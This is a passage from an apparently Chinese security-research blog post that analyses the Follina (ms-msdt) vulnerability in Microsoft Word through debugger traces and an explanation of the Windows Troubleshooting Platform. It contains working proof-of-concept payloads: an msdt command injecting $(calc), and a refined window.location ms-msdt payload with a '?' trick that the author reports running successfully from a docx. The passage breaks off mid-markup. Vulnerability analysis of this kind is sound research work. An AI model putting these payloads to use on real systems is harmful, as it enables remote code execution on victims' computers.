00000092`064fccd0 00007ffa`707d8f11 SHELL32!ShellExecuteExW+0xde<br/>02 00000092`064fce70 00007ffa`2fe2fe4c SHELL32!ShellExecuteW+0x81<br/>03 00000092`064fcf30 00007ffa`2fe2ee3a mshtml!ShellExecURL+0x254<br/>04 00000092`064fd1f0 00007ffa`2fb4e721 mshtml!OpenInNewWindow+0x38e<br/>05 00000092`064fd3e0 00007ffa`2f6206cf mshtml!CDoc::DoNavigate_NavigateInNewBrowser+0x201<br/>06 00000092`064fd470 00007ffa`2f619f00 mshtml!CDoc::DoNavigate+0xbaf<br/>07 00000092`064fd7c0 00007ffa`2f751420 mshtml!CDoc::FollowHyperlink2+0xc70<br/>08 00000092`064fd9c0 00007ffa`2f75072b mshtml!CWindow::FollowHyperlinkHelper+0x2a4<br/>09 00000092`064fdb40 00007ffa`2f74a704 mshtml!CWindow::NavigateEx+0xeb<br/>0a 00000092`064fdcb0 000001c0`4fad4802 mshtml!COmLocationProxy::InvokeEx+0x4f4<br/>0b 00000092`064fddc0 000001c0`4fad468e jscript9!HostDispatch::CallInvokeExInternal+0xf2<br/>0c 00000092`064fde60 000001c0`4fad4540 jscript9!HostDispatch::CallInvokeHandler+0x96<br/>0d 00000092`064fdee0 000001c0`4fb8afb6 jscript9!HostDispatch::CallInvokeEx+0x90<br/>0e 00000092`064fdf70 000001c0`4fb8aed3 jscript9!HostDispatch::PutValueByDispId+0xd6<br/>0f 00000092`064fe030 000001c0`4fa50ce1 jscript9!HostDispatch::PutValue+0x37<br/>10 00000092`064fe070 000001c0`4fa54a1e jscript9!Js::JavascriptOperators::OP_SetProperty+0x1d1<br/>11 00000092`064fe100 000001c0`4fa43f43 jscript9!Js::JavascriptOperators::PatchPutValueNoFastPath+0x7e<br/>12 00000092`064fe180 000001c0`4fa47a2d jscript9!Js::InterpreterStackFrame::DoProfiledSetProperty&lt;Js::OpLayoutElementCP_OneByte const &gt;+0x183<br/>13 00000092`064fe240 000001c0`4fa45029 jscript9!Js::InterpreterStackFrame::Process+0x6cd<br/>14 00000092`064fe2c0 000001c0`4ff00fc3 jscript9!Js::InterpreterStackFrame::InterpreterThunk&lt;1&gt;+0x4c9<br/>15 00000092`064fe4d0 000001c0`4fb0afb6 0x000001c0`4ff00fc3<br/>16 00000092`064fe500 000001c0`4f9eb3d1 jscript9!amd64_CallFunction+0x86<br/>17 00000092`064fe550 000001c0`4fa9abc9 jscript9!Js::JavascriptFunction::CallFunction&lt;1&gt;+0x71<br/>18 00000092`064fe5c0 000001c0`4fa9aab0 jscript9!Js::JavascriptFunction::CallRootFunctionInternal+0xfd<br/>19 00000092`064fe690 000001c0`4fa9aa0b jscript9!Js::JavascriptFunction::CallRootFunction+0x64<br/>1a 00000092`064fe700 000001c0`4fa9a929 jscript9!ScriptSite::CallRootFunction+0x67<br/>1b 00000092`064fe760 000001c0`4fa9ae80 jscript9!ScriptSite::Execute+0x109<br/>1c 00000092`064fe7f0 000001c0`4fa20430 jscript9!ScriptEngine::ExecutePendingScripts+0x234<br/>1d 00000092`064fe8e0 000001c0`4faf6924 jscript9!ScriptEngine::ParseScriptTextCore+0x49c<br/>1e 00000092`064fea40 00007ffa`2f81e0c8 jscript9!ScriptEngine::ParseScriptText+0xc4<br/>1f 00000092`064feaf0 00007ffa`2f5a25aa mshtml!CActiveScriptHolder::ParseScriptText+0xb8<br/>20 00000092`064feb70 00007ffa`2f5a0f92 mshtml!CScriptCollection::ParseScriptText+0x25a<br/>21 00000092`064fec50 00007ffa`2f5a09b6 mshtml!CScriptData::CommitCode+0x422<br/>22 00000092`064fee20 00007ffa`2f5a072f mshtml!CScriptData::Execute+0x266<br/>23 00000092`064feed0 00007ffa`2f63fa05 mshtml!CHtmScriptParseCtx::Execute+0xbf<br/>24 00000092`064fef00 00007ffa`2f540767 mshtml!CHtmParseBase::Execute+0x95<br/>25 00000092`064fef90 00007ffa`2f53ffaa mshtml!CHtmPost::Broadcast+0x47<br/>26 00000092`064fefd0 00007ffa`2f80db06 mshtml!CHtmPost::Exec+0x29a<br/>27 00000092`064ff1d0 00007ffa`2f80d9db mshtml!CHtmPost::Run+0x32<br/>28 00000092`064ff200 00007ffa`2f80d96f mshtml!PostManExecute+0x63<br/>29 00000092`064ff240 00007ffa`2f80d4d0 mshtml!PostManResume+0xab<br/>2a 00000092`064ff280 00007ffa`2f875eec mshtml!CHtmPost::OnDwnChanCallback+0x40<br/>2b 00000092`064ff2d0 00007ffa`2f53b0c1 mshtml!CDwnChan::OnMethodCall+0x1c<br/>2c 00000092`064ff300 00007ffa`2f5dca04 mshtml!GlobalWndOnMethodCall+0x2b1<br/>2d 00000092`064ff3b0 00007ffa`2f9854b8 mshtml!GlobalWndProc_SEH+0x104<br/>2e 00000092`064ff440 00007ffa`6fd1e858 mshtml!GlobalWndProc+0x3a8c08<br/>2f 00000092`064ff480 00007ffa`6fd1e299 USER32!UserCallWinProcCheckWow+0x2f8<br/>30 00000092`064ff610 00007ffa`3e081af9 USER32!DispatchMessageWorker+0x249<br/>31 00000092`064ff690 00007ffa`3dfe2009 wwlib!PTLS7::LsNotReached+0x7bd49<br/>32 00000092`064ff730 00007ff6`79e71230 wwlib!FMain+0x61<br/>33 00000092`064ff760 00007ff6`79e71519 winword+0x1230<br/>34 00000092`064ff790 00007ffa`71177034 winword+0x1519<br/>35 00000092`064ff7d0 00007ffa`71362651 KERNEL32!BaseThreadInitThunk+0x14<br/>36 00000092`064ff800 00000000`00000000 ntdll!RtlUserThreadStart+0x21<br/></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">ShellExecuteW 内部则是通过 CreateRemoteThreadEx 创建新线程，通过新线程创建 msdt.exe：</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ib9Sb5VNvaCcy0WD7yIcUvTwtfuhUfxnWOgdDsBAdxhmblOdL5wPzWVex9bQsQBkNaNV79uNcic9AgOfibhoVh70Xo/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">0:027&gt; r<br/>rax=0000000002000000 rbx=0000000000000000 rcx=000000e48ad4d438<br/>rdx=000000e48ad4d4a0 rsi=0000021054c22ee0 rdi=0000000000000000<br/>rip=00007ffada60e620 rsp=000000e48ad4d358 rbp=000000e48ad4eb00<br/> r8=0000000002000000  r9=0000000002000000 r10=0000000000000000<br/>r11=000000e48ad4d300 r12=0000000000000001 r13=0000000000000002<br/>r14=0000000000000008 r15=0000000000000000<br/>iopl=0         nv up ei pl zr na po nc<br/>cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246<br/>ntdll!NtCreateUserProcess:<br/>00007ffa`da60e620 4c8bd1          mov     r10,rcx<br/>0:027&gt; dps poi(esp+98) La8/8   //AttributeList<br/>000000e4`8ad4df00  00000000`000000a8<br/>000000e4`8ad4df08  00000000`00020005 //PS_ATTRIBUTE_IMAGE_NAME<br/>000000e4`8ad4df10  00000000`00000040 //NtImagePath.Length<br/>000000e4`8ad4df18  00000210`54bae7b0 //NtImagePath.Buffer<br/>000000e4`8ad4df20  00000000`00000000<br/>000000e4`8ad4df28  00000000`00010003<br/>000000e4`8ad4df30  00000000`00000010<br/>000000e4`8ad4df38  000000e4`8ad4d7c0<br/>000000e4`8ad4df40  00000000`00000000<br/>000000e4`8ad4df48  00000000`00000006<br/>000000e4`8ad4df50  00000000`00000040<br/>000000e4`8ad4df58  000000e4`8ad4d900<br/>000000e4`8ad4df60  00000000`00000000<br/>000000e4`8ad4df68  00000000`00020009<br/>000000e4`8ad4df70  00000000`00000004<br/>000000e4`8ad4df78  000000e4`8ad4d6f0<br/>000000e4`8ad4df80  00000000`00000000<br/>000000e4`8ad4df88  00000000`0006001a<br/>000000e4`8ad4df90  00000000`00000001<br/>000000e4`8ad4df98  00000000`00000001<br/>000000e4`8ad4dfa0  00000000`00000000<br/>0:027&gt; du 00000210`54bae7b0    //创建的进程名<br/>00000210`54bae7b0  <span style="color: #98c379;line-height: 26px;">&#34;\??\C:\Windows\system32\msdt.exe&#34;</span><br/>00000210`54bae7f0  <span style="color: #98c379;line-height: 26px;">&#34;&#34;</span><br/>0:027&gt; k        //创建msdt.exe的线程调用栈<br/> <span style="color: #5c6370;font-style: italic;line-height: 26px;"># Child-SP          RetAddr           Call Site</span><br/>00 000000e4`8ad4d358 00007ffa`d8128e73 ntdll!NtCreateUserProcess<br/>01 000000e4`8ad4d360 00007ffa`d81271a6 KERNELBASE!CreateProcessInternalW+0xfe3<br/>02 000000e4`8ad4e930 00007ffa`d89dcbb4 KERNELBASE!CreateProcessW+0x66<br/>03 000000e4`8ad4e9a0 00007ffa`d5f1152d KERNEL32!CreateProcessWStub+0x54<br/>04 000000e4`8ad4ea00 00007ffa`d5ea6722 windows_storage!CInvokeCreateProcessVerb::CallCreateProcess+0x2cd<br/>05 000000e4`8ad4ecb0 00007ffa`d5f0a75c windows_storage!CInvokeCreateProcessVerb::_PrepareAndCallCreateProcess+0x2d6<br/>06 000000e4`8ad4ed30 00007ffa`d5f0a583 windows_storage!CInvokeCreateProcessVerb::_TryCreateProcess+0x3c<br/>07 000000e4`8ad4ed60 00007ffa`d5f0a46d windows_storage!CInvokeCreateProcessVerb::Launch+0xef<br/>08 000000e4`8ad4ee00 00007ffa`d5f49dc4 windows_storage!CInvokeCreateProcessVerb::Execute+0x5d<br/>09 000000e4`8ad4ee40 00007ffa`d5e31d87 windows_storage!CBindAndInvokeStaticVerb::InitAndCallExecute+0x214<br/>0a 000000e4`8ad4eec0 00007ffa`d5ea5787 windows_storage!CBindAndInvokeStaticVerb::TryCreateProcessDdeHandler+0x63<br/>0b 000000e4`8ad4ef40 00007ffa`d5ef586d windows_storage!CBindAndInvokeStaticVerb::Execute+0x1e7<br/>0c 000000e4`8ad4f260 00007ffa`d5ef5785 windows_storage!RegDataDrivenCommand::_TryInvokeAssociation+0xad<br/>0d 000000e4`8ad4f2c0 00007ffa`d9b92b22 windows_storage!RegDataDrivenCommand::_Invoke+0x141<br/>0e 000000e4`8ad4f330 00007ffa`d9b929da SHELL32!CRegistryVerbsContextMenu::_Execute+0xce<br/>0f 000000e4`8ad4f3a0 00007ffa`d9b9630c SHELL32!CRegistryVerbsContextMenu::InvokeCommand+0xaa<br/>10 000000e4`8ad4f6a0 00007ffa`d9b9618d SHELL32!HDXA_LetHandlerProcessCommandEx+0x10c<br/>11 000000e4`8ad4f7b0 00007ffa`d9b926ab SHELL32!CDefFolderMenu::InvokeCommand+0x13d<br/>12 000000e4`8ad4fb10 00007ffa`d9b92583 SHELL32!CShellExecute::_InvokeInProcExec+0xfb<br/>13 000000e4`8ad4fc10 00007ffa`d9bcd671 SHELL32!CShellExecute::_InvokeCtxMenu+0x5b<br/>14 000000e4`8ad4fc50 00007ffa`d9bac32d SHELL32!CShellExecute::_DoExecute+0x151<br/>15 000000e4`8ad4fcc0 00007ffa`da48c3f9 SHELL32!&lt;lambda_519a2c088cd7d0cdfafe5aad47e70646&gt;::&lt;lambda_invoker_cdecl&gt;+0x2d<br/>16 000000e4`8ad4fd30 00007ffa`d89d7034 SHCORE!_WrapperThreadProc+0xe9<br/>17 000000e4`8ad4fe10 00007ffa`da5c2651 KERNEL32!BaseThreadInitThunk+0x14<br/>18 000000e4`8ad4fe40 00000000`00000000 ntdll!RtlUserThreadStart+0x21<br/></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">分析 word 解析 URL 是因为在尝试缩减 payload 的过程中发现了缩减后的 payload 能在 cmd 上成功执行命令，但是内嵌到 docx 文档中则无法执行，于是探索了一番。</p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span>一些尝试<span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">原本的 payload 可以直接在 cmd 上运行，其中有些参数是不必要的，最终缩减的 payload 为<code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;color: #1e6bb8;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;">msdt /id PCWDiagnostic /skip force /param &#34;IT_LaunchMethod=ContextMenu IT_BrowseForFile=/../../$(calc).exe&#34;</code>，将 payload 替换到 poc.html 中<code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;color: #1e6bb8;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;">window.location.href = &#34;ms-msdt:/id PCWDiagnostic /skip force /param \&#34;IT_LaunchMethod=ContextMenu IT_BrowseForFile=/../../../$(calc).exe \&#34; &#34;;</code>。然而该 payload 却无法在 word 中执行成功，procmon 抓到的参数是不完整的：</p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.4807228915662651" style="margin: 0px auto;max-width: 100%;" data-type="png" data-w="1660" src="https://wechat2rss.xlab.app/img-proxy/?k=0630e831&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD7RaEBAHnlUabrLibr4TibSgCINbe6Wick5VygEmViaAia7gvtH8ZKUBCzyvibAmAPic8wjqT5WDPLSZjD2w%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">重新调试 word，断在 ShellExecURL，发现到该函数时命令行的参数已经变成<code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;color: #1e6bb8;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;">ms-msdt:/id PCWDiagnostic /$(calc).exe</code>：</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ib9Sb5VNvaCcy0WD7yIcUvTwtfuhUfxnWOgdDsBAdxhmblOdL5wPzWVex9bQsQBkNaNV79uNcic9AgOfibhoVh70Xo/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">0:000&gt; r<br/>rax=0000000000000000 rbx=0000000000000000 rcx=000002c0dc60fc00<br/>rdx=000002c0cdec0000 rsi=000002c8e5144200 rdi=000002c8e5190400<br/>rip=00007ffa9737fbf8 rsp=000000fbbf39d748 rbp=000000fbbf39d850<br/> r8=000002c0cde50d20  r9=0000000000000001 r10=0000000000008000<br/>r11=000000fbbf39d5a0 r12=00007ffa97dbe358 r13=0000000000000000<br/>r14=0000000000000000 r15=000002c0df5435d0<br/>iopl=0         nv up ei pl zr na po nc<br/>cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246<br/>mshtml!ShellExecURL:<br/>00007ffa`9737fbf8 488bc4          mov     rax,rsp<br/>0:000&gt; du 000002c0df5438a0<br/>000002c0`df5438a0  <span style="color: #98c379;line-height: 26px;">&#34;/id PCWDiagnostic /<span style="color: #d19a66;line-height: 26px;">$(calc)</span>.exe&#34;</span><span style="color: #98c379;line-height: 26px;">&#34;<br/></span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">向前回溯在执行函数<code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;color: #1e6bb8;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;">iertutil!CreateUri</code>后，传入的参数被截断：</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ib9Sb5VNvaCcy0WD7yIcUvTwtfuhUfxnWOgdDsBAdxhmblOdL5wPzWVex9bQsQBkNaNV79uNcic9AgOfibhoVh70Xo/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">0:000&gt; r<br/>rax=00000000000000dc rbx=000000000000006e rcx=000000b3c48fbe10<br/>rdx=0000000003002b85 rsi=000001f1917fe9a8 rdi=0000000000000000<br/>rip=00007ffa96d34a77 rsp=000000b3c48fbdb0 rbp=000000b3c48fbeb0<br/> r8=0000000000000000  r9=000000b3c48fbde8 r10=0000000000000000<br/>r11=000000000000006e r12=000000b3c48fdeb0 r13=0000000000000000<br/>r14=000000b3c48fdec8 r15=000000000000006e<br/>iopl=0         nv up ei pl zr na po nc<br/>cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246<br/>mshtml!GetFullyExpandedUri+0x12b:<br/>00007ffa`96d34a77 48ff1572c7f600  call    qword ptr [mshtml!_imp_CreateUri (00007ffa`97ca11f0)] ds:00007ffa`97ca11f0={iertutil!CreateUri (00007ffa`ce4ffa10)}<br/>0:000&gt; du rcx           //传入的参数<br/>000000b3`c48fbe10  <span style="color: #98c379;line-height: 26px;">&#34;ms-msdt:/id PCWDiagnostic /skip &#34;</span><br/>000000b3`c48fbe50  <span style="color: #98c379;line-height: 26px;">&#34;force /param &#34;</span>IT_LaunchMethod=Co<span style="color: #98c379;line-height: 26px;">&#34;<br/>000000b3`c48fbe90  &#34;</span>ntextMenu IT_BrowseForFile=/../.<span style="color: #98c379;line-height: 26px;">&#34;<br/>000000b3`c48fbed0  &#34;</span>./$(calc).exe<span style="color: #98c379;line-height: 26px;">&#34;&#34;</span><br/>0:000&gt; dps r9 L1          //传出的IUri结构指针<br/>000000b3`c48fbde8  00000000`00000000<br/>0:000&gt; p<br/>mshtml!GetFullyExpandedUri+0x132:<br/>00007ffa`96d34a7e 0f1f440000      nop     dword ptr [rax+rax]<br/>0:000&gt; du poi(poi(000000b3`c48fbde8)+68)    //执行完函数后返回的IUri结构所指的URI字符串<br/>000001f1`8a2bc560  <span style="color: #98c379;line-height: 26px;">&#34;/id PCWDiagnostic /<span style="color: #d19a66;line-height: 26px;">$(calc)</span>.exe&#34;</span><span style="color: #98c379;line-height: 26px;">&#34;<br/></span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">此时查看 MSDN 对于CreateUri函数的说明，发现对于传入的 URI 会进行规范化，会删除相对路径段&#34;./&#34;和&#34;../&#34;，并酌情缩短路径，因此原本的参数会被截断。</p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">但是原 payload 中的&#34;./&#34;和&#34;../&#34;被保留下来了，分析后得知在如果参数中有&#34;?&#34;符号，则后面的内容不会被截断，于是重新编写 payload<code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;color: #1e6bb8;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;">window.location.href = &#34;ms-msdt:/id PCWDiagnostic /skip force /param \&#34;IT_ReBrowseForFile=? IT_LaunchMethod=ContextMenu IT_BrowseForFile=/../../$(calc).exe\&#34;&#34;;</code>能成功执行：</p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.4713682941531043" style="margin: 0px auto;max-width: 100%;" data-type="png" data-w="1659" src="https://wechat2rss.xlab.app/img-proxy/?k=ad1f4ca8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD7RaEBAHnlUabrLibr4TibSgCKUOqXhRvZK8w2RFpNW4KFomiaZW3v3Sd9cKTKRU9eHSyh9Ux4yCiclJA%2F640%3Fwx_fmt%3Dpng"/></figure><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;font-size: 24px;"><span style="display: none;"></span>漏洞原理分析</h1><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;font-size: 22px;"><span style="display: none;"></span>Windows Troubleshooting Platform（WTP）简介</h2><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span>WTP 架构<span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">WTP由一个 Windows 故障排除运行引擎、结果报告和调试报告、四个故障排除 cmdlet 和一个托管的 Windows PowerShell 运行环境组成，不同的 Windows 故障排除包会调用不同 PowerShell Script，并输出对应的结果报告和调试报告。下图显示了 WTP 架构：</p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.7744444444444445" style="display: block;margin: 0 auto;max-width: 100%;" data-type="png" data-w="900" src="https://wechat2rss.xlab.app/img-proxy/?k=c81d3762&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD7RaEBAHnlUabrLibr4TibSgCic3PeeuwwmjTP1DUicicI5TfQia6KqjF0uibb4F3icmWLB0icYOPyFGqHlx2A%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">Windwos 故障排除包既可以通过 WTP 向导 (MSDT.exe) 运行（本次漏洞就是通过这种方式），又可以在 Windows PowerShell 窗口中运行，通过 Windows PowerShell 窗口运行故障排除包时 msdt.exe 不会启动：</p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.4831325301204819" style="display: block;margin: 0 auto;max-width: 100%;" data-type="png" data-w="1660" src="https://wechat2rss.xlab.app/img-proxy/?k=ca14b9bb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD7RaEBAHnlUabrLibr4TibSgCweic6pc5jTS6EgAo6L7vrMzYLvD6qSBDkribS8k3VbxaS0BCDNbMjYDw%2F640%3Fwx_fmt%3Dpng"/></figure><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span>故障排除包（Troubleshooting Pack）的组件<span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">下图显示了故障排除包中包含的组件：</p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.5826859045504994" style="display: block;margin: 0 auto;max-width: 100%;" data-type="png" data-w="901" src="https://wechat2rss.xlab.app/img-proxy/?k=9fecd79e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD7RaEBAHnlUabrLibr4TibSgCicnS2wbq3OMJvmugfP2CTJDHDyvPKva3sTS0tfSJjwGNsjMkDVBsPqA%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">故障排除包的设计基于三个步骤或阶段：检测问题（troubleshooting）、解决问题（resolution）和验证解决方案（verification）。每个阶段都表示为一组 Windows PowerShell 脚本，对应脚本的开头分别为<strong style="font-weight: bold;color: black;">TS</strong>，<strong style="font-weight: bold;color: black;">RS</strong>和<strong style="font-weight: bold;color: black;">VF</strong>。本次漏洞中使用的 PCWDiagnostic 程序兼容性诊断包就正好有三个对应阶段的不同脚本：</p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.291970802919708" style="display: block;margin: 0 auto;max-width: 100%;" data-type="png" data-w="959" src="https://wechat2rss.xlab.app/img-proxy/?k=ecb182bc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD7RaEBAHnlUabrLibr4TibSgC4MoLiaCYrD2sJJSUguhWc8GokA1dOY5EhYOXEqohiaUur2DZia09D2Cqg%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">当用户调用 PCWDiagnostic 程序兼容性诊断包时，WTP 会实例化一个 Windows PowerShell 运行空间来运行脚本，由于对于参数没有正确的过滤导致在执行脚本时会将参数中的&#34;$&#34;解析，导致了代码注入。</p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;font-size: 22px;"><span style="display: none;"></span>调试 sdiagnhost.exe</h2><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">使用 dnSpy 调试 sdiagnhost.exe，可以利用 windbg 的工具 gflags.exe 设置 sdiagnhost.exe 的 debuger 为 dnSpy.exe：</p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="1.0861423220973783" style="display: block;margin: 0 auto;max-width: 100%;" data-type="png" data-w="534" src="https://wechat2rss.xlab.app/img-proxy/?k=f76f1371&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD7RaEBAHnlUabrLibr4TibSgCDuhmxgrJ7UBNgfGxYtDRcMdKVbxZtkMp0vkNv0G3ibq0cK5Ngy2XmXw%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">执行在命令行执行 payload 后，sdiagnhost.exe 创建后会被 dnSpy 调试，此时下断在<code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;color: #1e6bb8;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;">Microsoft.Windows.Diagnosis.ManagedHost.RunScript()</code>方法，随后启动调试会断在 RunScript 方法内：</p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.47754854368932037" style="display: block;margin: 0 auto;max-width: 100%;" data-type="png" data-w="1648" src="https://wechat2rss.xlab.app/img-proxy/?k=3ec35fb3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD7RaEBAHnlUabrLibr4TibSgCYTU0J2430C7NCe8ja6ohyvlzFJWUkTFkg4OCMy36wzgSLXuDFdP0eg%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">可以看到待执行的 PowerShell 指令 text 中的内容就是 scriptPath，随后到达第二个断点。此时 text 的内容依然是 scriptPath，将要执行脚本<code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;color: #1e6bb8;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;">TS_ProgramCompatibilityWizard.ps1</code></p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.4647630619684083" style="display: block;margin: 0 